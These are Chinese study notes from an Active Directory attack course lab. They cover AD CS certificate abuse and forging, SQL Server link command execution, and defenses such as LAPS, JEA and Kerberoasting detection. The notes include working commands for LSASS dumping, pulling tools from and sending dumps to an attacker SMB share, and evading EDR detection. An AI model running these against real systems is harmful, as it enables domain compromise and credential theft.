- CSR —— 证书签名请求,是指客户端向CA发起的证书签名请求,用于请求证书。
- Certificate Template —— 证书模板,定义证书的设置,包含:证书何时到期,谁可以注册,谁可以为了什么申请证书,这张证书用于做什么,用于身份验证还是加密文件等等,包含了对一个证书的定义。
- EKU OIDs —— 全称是
Extended Key Usages Object Identifiers
,定义了证书的用途:身份验证、智能卡、文件加密等等,这个通常包含在证书模板里。
1.流程
- 1.客户端生成一个公私钥对
- 2.向企业CA 发送证书签名请求(CSR)
- 3.CA检查证书模板是否存在,CSR中的设置是否被证书模板所允许,用户是否被允许注册这个证书
- 4.CA确定ok后,会用CA私钥对这张证书签名,然后将其发送给用户
- 5.客户端将证书存储在Windows证书存储中,用户然后做符合EKU OID行为的时候会用到这个证书。
2.利用点
比较多
- 通过证书提取目标nthash
- 证书默认过期时间是一年,即便用户改掉了自己账户密码,证书也依旧可以用,所以用来持久化
- 用来提权
窃取证书 | 持久化 | |
---|---|---|
1 | 使用windows加密API导出私钥和证书 | 如果对一个证书有注册权限,可以通过请求新证书来保证用户权限维持 |
2 | 使用DPAPI提取用户证书及其私钥 | 通过请求新的证书来实现主机持久化 |
3 | 使用DPAPI提取机器证书及其私钥 | 通过续期证书,实现对用户或机器账户的持久化控制 |
4 | 如果证书标记为可导出,则可通过powershell等从文件和存储中导出PFX证书 | |
5 | 使用PKINIT获取ntlmhash |
以及,如果泄露了CA私钥,将可以使用其解密所有证书,然后导出他颁发的所有证书。
然后是配置错误等导致的,ESC1-ESC15
ESC1 | ESC2 | ESC3 |
---|---|---|
申请者(Enrollee)可以为任意用户申请证书,并且当前还有这个证书的注册权限。(需要注意EKU的范围,或者没有) | 允许被用于任何目的,或者没有EKU(会被应用于任何场景) | 请求一个注册代理证书(Enrollment Agent Certificate),然后用它代表任意用户申请证书。 |
ESC4 | ESC5 | ESC6 |
---|---|---|
过度允许的在模板上使用ACL(导致修改模板) | 对证书颁发机构(CA 服务器)或其计算机对象的访问控制配置不当。 | CA 启用了EDITF_ATTRIBUTE_SUBJECTALTNAME2,攻击者模仿用户(比如域管)的 SAN,申请用于身份认证的证书,伪装成任何人登录域。 |
ESC7 | ESC8 | ESC9 |
---|---|---|
对 CA 权限角色(比如 CA Administrator 和 Certificate Manager)的访问控制配置不严格、不安全。 | 中继NTLM请求到http的证书注册端点 | 在没有安全拓展的情况下攻击者修改自己的UPN和用户名,以伪造身份代表任何用户请求证书 |
实际比较常见的ESC是:1、3、4、5、7、8
接下来的都是特定情况下的
证书有显式映射与隐式映射
ESC10 | ESC11 | ESC12 |
---|---|---|
如果存在隐式证书映射,则申请者可以修改自己的 UPN,从而代表任何用户申请证书(和ESC9有些类似) | NTLM中继到RPC注册端点(非默认开启) | 从 Yubico 的 YubiHSM(硬件安全模块)里窃取 CA(证书颁发机构)的私钥。 |
ESC13 | ESC14 | ESC15 |
---|---|---|
证书模板配置了关联组,申请者有权申请这个证书,将获得与证书模板关联的安全组(linked group)的权限 | 利用证书会引用目标对象属性中的 altSecurityIdentities 字段,实现以该目标身份进行身份认证(HTB 的Scepter有用到)。 | 滥用旧版(版本1)证书模板可以绕过 EKU 限制,让证书用于更多不该有的身份验证等操作。 |
2.1 证书的权限维持
当对adcs主机有localadmin或其他高权限时,可以导出域证书私钥,用作权限维持与用户证书伪造。
通过 certutil
查看可用证书
1 | certutil -Store My |
导出目标证书私钥(注意需要根据情况来选择导出的证书)
1 | certutil -exportPFX My xxxxxxxxx cert.pfx |
使用证书私钥签发目标用户的pfx
1 | certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL" |
后续访问使用签发出的证书即可。
1 | certipy auth -pfx ./administrator_forged.pfx -username administrator -dc-ip 172.16.100.1 |
CA权限维持
- 伪造证书使用被盗的CA私钥密钥。
- 恶意的证书颁发机构恶意的根证书颁发机构(Root CA)或中间证书颁发机构(Intermediate CA)。
- 后门CA服务或后门CA机器。
3.枚举ADCS
在当前林中枚举ADCS
1 | Certify.exe cas |
枚举证书模板
1 | Certify.exe find |
powerview
1 | Get-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=moneycorp,DC=local" -Properties * |
枚举可能存在漏洞的证书
1 | Certify.exe find /vulnertable |
枚举当前用户能够申请的证书(包含当前用户组的)
1 | Certify.exe find /currentuser |
枚举ESC1 (为任何用户申请证书)
1 | Certify.exe find /enrolleeSuppliesSubject |
4.利用示例
利用ESC1 申请一张administrator的证书
1 | Certify.exe request /ca:mcorp-dc.moneycorp.local moneycorp-MCORP-DC-CA /template:"HTTPscertificates" |
将证书复制下来到txt中,然后通过openssl转换为fpx,会需要输入密码,一会rubeus用的时候也要附上密码(转换的方式比较多,看个人喜好了,我习惯openssl和certipy轮换着用)
1 | openssl.exe pkcs12 C:\AD\Tools\esc1.pem -keyex -CSP "Microsoft Enhanced cryptographic Provider v1.0" -export -out C:\AD\Tools\esc1-DA.pfx |
使用pfx证书,请求tgt注入到进程中
1 | Rubeus.exe asktgt /user:administrator /certificate:C:\AD\Tools\esc1-DA.pfx /password:test@123 /ptt |
ESC1 提权至企业管理员
和刚才管理员是一样的,只不过altname需要指定为林根域的administrator
1 | Certify.exe request /ca:mcorp-dc.moneycorp.local moneycorp-MCORP-DC-CA /template:"HTTPscertificates" |
后面还是一样的,转换pfx,然后请求TGT注入进程
1 | openssl.exe pkcs12 C:\AD\Tools\esc1.pem -keyex -CSP "Microsoft Enhanced cryptographic Provider v1.0" -export -out C:\AD\Tools\esc1-DA.pfx |
使用pfx证书,请求tgt注入到进程中,因为是要和林域交互,所以注意这里user也需要指定为林根的user,以及dc这里也需要指定到林根的dc,才能获取到林根的企业管理员administator。
1 | Rubeus.exe asktgt /user:moneycorp.local\administrator /dc:mcorp-dc.moneycorp.local /certificate:C:\AD\Tools\esc1-DA.pfx /password:test@123 /ptt |
然后就可以访问林根的dc了
1 | winrs -r:mcorp-dc cmd |
11.SQL server Trust Abuse
在拿到一个数据库的时候按理说应该更关注数据库的数据(笑
通过SPN枚举发现sql
1 | Get-SQLInstanceDomain |
连接尝试
1 | Get-SQLConnectionTestThreaded |
1 | Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose |
获取server信息
1 | Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose |
1.存在利用点
database link
,在当前数据库中可能会有到另一个数据库的链接,而这个到另一个数据库的链接可能会是一个高权用户的。
而且在多个数据库串到一起的情况下危害可能更大,比如这里的例子。
1 | 普通用户->数据库A--->link database admin--->数据库b --->link database As--->数据库C |
而且即便是跨林,林的安全边界对于这种情况毫无影响。
用gui的话是
查询链接
1 | select * from master..sysservers |
执行链接对端数据库的查询
1 | select * from openquery("DCORP-SQL1",'select * from master..sysservers') |
嵌套
1 | select * from openquery("DCORP-SQL1",'select * from openquery("DCORP-MGMT",''select * from master..sysservers'')') |
用powerupsql的话如下
查询数据库链接的方式
1 | Get-SQLServerLink -Instance dcorp-mssql -verbose |
或者直接查
1 | select * from master..sysservers |
查到了的话就可以通过语句指定链接名狠狠的查对面数据库有没有link
1 | select *from openquery("dcorp-sql1",'select * from master..sysservers') |
然后再套娃查(注意转义单引号)
1 | select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt","select * from master..sysservers")') |
如果不想手动套娃的话可以用,PowerUpSQL这个函数,让他自动套娃查
1 | Get-SQLServerLinkCrawl -Instance dcorp-mssql -verbose |
数据库链接时候访问链接对面库的密码会在本地。
执行命令
1 | EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "eu-sql" |
在手动套娃的情况下执行
1 | select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt","select * from openquery("eu-sql.eu.eurocorp.local","'select @@version as version;exec master..xp cmdshell "powershell whoami)'''')")') |
还是自动套娃执行吧(如果不指定-QueryTarget
参数他将在所有database的link节点都执行这个)
1 | Get-SQLserverLinkcrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget eu-sql |
12.MDE
minidump
通过自定义的API来实现minidump,从而来对MDE进行绕过
这个工具需要lsass的pid,那如何获取lsass的pid。
tasklist /v
是不行了,mde会检测这个命令并告警。
建议用winapi来实现,或者如果有RDP的话用任务管理器也ok。
当然如果直接把把这个查询pid的功能集成到minidumpdotnet中,mde将会告警。
所以他必须作为一个独立的exe或者别的而存在。
工具传输落地
很多 EDR 会监控网络下载行为,特别是从 Internet 上下载 .exe、.dll、.bat 这类可疑文件,风险很高。
利用系统自带的“合法软件”下载东西,比如 msedge.exe、bitsadmin、certutil,可以绕过很多 EDR 的规则(叫 LOLBins —— Living Off the Land Binaries)。
另一个安全性更高(隐蔽性更好)的方式是使用 SMB 文件共享。可以直接从一个可读取的共享目录中运行程序,这比传统的下载并执行方式风险小很多。
比如把文件放在某个 SMB 共享(如攻击者自己的共享目录),然后目标机器可以通过 \attacker\share\tool.exe 来直接访问甚至运行。
这样不会产生明显的网络下载行为,也避开很多流量监控系统。
打破检测链
如果在一条条执行可疑命令,将会逐渐降低当前edr对你的可信度。
建议是执行一条可疑的命令之后来点正常的命令。
或者每次执行间隔时间长一些,比如10分钟左右再进行下一次。
ASR绕过
通过GetCommandLineExclusions
查看被排除的关键字,只要命令行里有这里面包含的关键字,就可以绕过,或者命令行伪装路径
避免执行whoami这样的命令 都会被edr捕获到。
重新做一遍11.sqlserver,采用基于opsec绕过mde的做法
把 findlsasspid.exe
放到smb的目录共享中。
然后在目标机器上通过smb直接执行exe,获取到lsass的pid
1 | Get-SQLserverLinkcrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell '\\dcorp-student1.dollarcorp.moneycorp.local\FindLassPid.exe'" -QueryTarget eu-sql |
再执行一个相对正常的命令,尝试打破mde的检测链
1 | Get-SQLserverLinkcrawl -Instance dcorp-mssql -Query 'select @@version' -QueryTarget eu-sql |
然后进行提取,并将dump出的dmp放到我们的smb下
1 | Get-SQLserverLinkcrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell ''\\dcorp-student1.dollarcorp.moneycorp.local\minidumpdotnet.exe 696 \\dcorp-student1.dollarcorp.moneycorp.local\test.dmp'' ' -QueryTarget eu-sql |
得到dmp后就可以在本地加载dmp了
1 | Safetykatz.exe "sekurlsa::evasive-minidump C:\tools\ad\test.dmp" "sekurlsa::evasive-keys" "exit" |
使用对应的用户aeskey,请求的tgt注入当前进程,因为目标用户在eurocorp那的林根所以需要指定林根域和其dc来向另一个域的DC请求这张票据。
1 | Rubeus.exe asktgt /user:dbadmin /aes256:xxxx /domain:eu.eurocorp.local /dc:eu-dc.eurocorp.local /opsec /createnetonly:C:\windwos\system32\cmd.exe /ptt /show |
然后远程到目标机器就完事
1 | winrs -r:eu-sql1.eu.eurocorp.local |
13.检测与防御
保护并限制域管理员
域管不应当有权限登录到除了DC之外的机器,没必要使用域管来执行日常的管理任务等.
以及不要用DA权限在其他任何机器运行服务。
对于一个中大型规模公司应当只有2-3个域管理员。
Protected Users Group
受保护的组用户,其凭据将不会以不安全(明文)的方式缓存。
并且受保护的用户无法使用CredSSP 以及 WDigest的方式登陆到机器,所以也就自然不会缓存NTLMhash
然后kerberos不会使用des和rc4这样的方式进行认证,也就是常说的 关闭了NTLM认证
,因此pre-auth的kerberoasting 将无法使用。
TGT票据的初始寿命会只有四小时,而且无法修改最大时间。
而且受保护的用户无法被使用委派。
服务账户和主机账户没有必要添加到这个组内,因为服务账户的明文凭据将会被存在对应运行着服务的主机上,所以不要用DA账户在其他机器上运行服务。
Privileged Administrative Workstations (PAWs)
paw实质上是一个经过加固的工作站,用于执行敏感任务,例如管理域控制器、云基础设施和关键业务功能等。
能够防御钓鱼攻击、操作系统漏洞利用、凭据重放攻击等。
管理跳板机(Jump Server)只能通过 PAW 来访问,并可采用多种策略:
将管理任务与日常任务在权限和硬件上分离
在 PAW 上运行一个虚拟机(VM)来处理普通用户任务
LAPS (Local Administrator Password solution)
Windows LAPS
会定期为每台计算机的本地管理员账户生成随机密码,并将密码存储在 AD 中,统一管理。
对这些密码的读取权限是受控制的(即必须设置特定的 AD 权限,谁能读取密码是可控的)。
这些密码保存在对应受账户的 ms-MCS-AdmPwd
属性中,什么时候换密码由 ms-MCS-AdmPwdExpirationTime
控制。
虽然密码是明文存储的,但传输过程是加密的(比如使用 LDAP over SSL/TLS)。
攻击者如果已经入侵 AD,可以通过权限分析工具找出有读取 ms-MCS-AdmPwd
权限的账号,从而进一步横向移动攻击。
如果某个用户有权限读取所有域内计算机的LAPs的管理员密码,那照样G了。
Time Bound Administration —— JIT
基于时间的权限管理(Just-In-Time 管理)
简单来说,只在“需要时”才赋予用户临时的管理员权限,并且权限在设定时间后会自动失效。
在 Windows Server 2016
及之后版本中,你可以设置一个用户临时加入某个组(比如 Domain Admins),并在设定时间后自动移除。
使用此功能需要启用“特权访问管理(PAM)功能”,启用后不能关闭。
1 | Add-ADGroupMember -Identity "Domain Admins" -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 60) |
Time Bound Administration - JEA
基于时间或作用范围的权限管理 - JEA
JEA 提供了基于角色的访问控制 可以让非管理员用户通过 PowerShell 远程执行特定的管理任务,但只限于他们被允许执行的任务(最小权限原则)。
例如,可以控制用户能运行哪些命令,甚至限制命令能使用哪些参数:
你可以配置某个用户只能运行 Restart-Service,而且只能重启名为 Spooler 的服务,别的命令和服务都不能动。
JEA = 远程 PowerShell 的最小权限控制 + 命令审计 + 精细化授权机制
有用到这个的靶机 HTB-Acute
下面是一个实例,创建了一个策略,允许用户运行 Get-Service
命令(并限制只可使用 -Name
参数)
1 | New-PSRoleCapabilityFile -Path (Join-Path $rolecapabilityPath "services.psrc") -Description "Allows checking services." -CompanyName "Alt" -Author "Admin" -ModulesToImport "Microsoft.PowerShell.Core" -VisibleCmdlets @{ Name = 'Get-Service'; Parameters = @{ Name = 'Name' } } |
还有几步懒得写了
用的时候要指定 -ConfigurationName
参数
Detection and Defense - ESAE
ESAE(Enhanced Security Administrative Environment)增强安全管理环境
是一种设计架构,专门为管理关键资产(比如域控、管理员账号、敏感服务器)而建立一个独立的“管理森林”。
建立一个专门的 Active Directory 森林,只用来做管理工作,叫做 “Red Forest(红色森林)”
把生产环境的管理员账号降级为普通用户,然后只允许他们通过 Red Forest 的账户进行管理,然后使用 Selective Authentication(选择性身份验证) 控制谁能从 Red Forest 登录到生产域,提高隔离。
通过这种林域之间的安全边界很大程度上杜绝了横向攻击的可能性。
需要注意的是微软在 2021 年正式废弃了 ESAE,推荐使用更现代的 Privileged Access Strategy(特权访问策略)。
ESAE其实是一种分级,较低等级的人不能登陆访问高一级的域资源或主机。
在最顶层(0层)是域控制器所在的位置,为了管理0层会有一个独立的林域,该林域是单向sid过滤的信任方式,即只能从这个林域访问到0层,而无法反过来访问。
Privileged Access Strategy
也是上面是微软为企业制定的一整套保护关键管理员账户和资源的安全指导方针。
它是 ESAE(Red Forest 架构)被淘汰后,更现代、更云原生、更灵活的替代方案。
- 最小权限访问(Least Privilege)
- 强身份验证(Verify Explicitly)
- 分层网络结构(Tiering Model)不允许高权限账号在低安全等级的设备上登录
- 日志审计与异常检测
- 隔离关键资源访问(通过PAW来实现)
- 默认不信任内部通信(即便在内网发起的访问也需要过认证)
但是,说实话遇到配置出错的还是能利用..
Enterprise Access Mode 企业访问模型
在企业访问模型下,分为了几个不同的平面:
- 控制平面(访问控制之类的)
- 管理平面(监控和管理资源)
- 数据/工作平面(管理业务应用,IP,数据之类的,其实有点类似云控制台)
- 害有个用户控制(好像是登录控制,我也没搞明白)
凭据保护
使用基于虚拟化的安全措施来隔离机密,这样只有特权系统进程等,才能访问它们。
限制了对NTLM和TGT的访问,所以PTH啥的就没法用了,按理说是限制住了在内存里写入票据的风险。
但是通过自定义SSP(Custom SSP)还是可以窃取凭证。
设备保护(WDAC)
阿三就给了个这玩意,也没细讲
lolbas-project.github.io
票据攻击和重放攻击的检测与发现
谨记一个比较简单的检测方式,基本都是低权账户访问高权资产或者特权资产。
kerberasting 的检测与防御
需要关注的安全事件ID是 4769
- 请求了 Kerberos 票据
然后缓解方式是:强密码(桀桀桀),比如使用GMSA(使用组管理服务帐户),定期自动更改密码和委派SPN管理。
因为 4769 是在域控(DC)上非常多触发的记录的事件,所以我们需要通过以下规则对日志进行过滤分析:
- 1.过滤掉显示服务名是 krbtgt 的记录(因为这是 TGT 票据(Ticket Granting Ticket),属于正常登录流程,不是服务访问,太多无价值噪声。)
- 2.过滤掉服务名以 $ 结尾的记录(
$
结尾通常表示计算机账户,比如 MACHINE1$,这些多数是自动服务账户,不太可能是攻击行为。) - 3.过滤掉账户名是机器名的记录(例如:host1$@domain.com) 和2的原因一样,大概率是自动服务账户触发的。
- 4.保留返回码为
0x0
的记录(因为0x0代表成功了) - 5.相对正常的票据加密类型是
0x17
(AES256) 的,roast一般请求的是0x3 或 0x23 (RC4),可以基于加密降级这一点来检测。
下诱饵
这里教学给到的是创建一个密码永不过期的用户
1 | Create-DecoyUser -UserFirstName user -UserLastName manager -Password Pass@123 | Deploy-UserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose |
当有攻击者对这个用户进行枚举的时候将会触发记录4662 (对对象执行了操作) 的日志ID
2025年5月21日 基本写就到这里了后面也没东西了 该准备去打lab了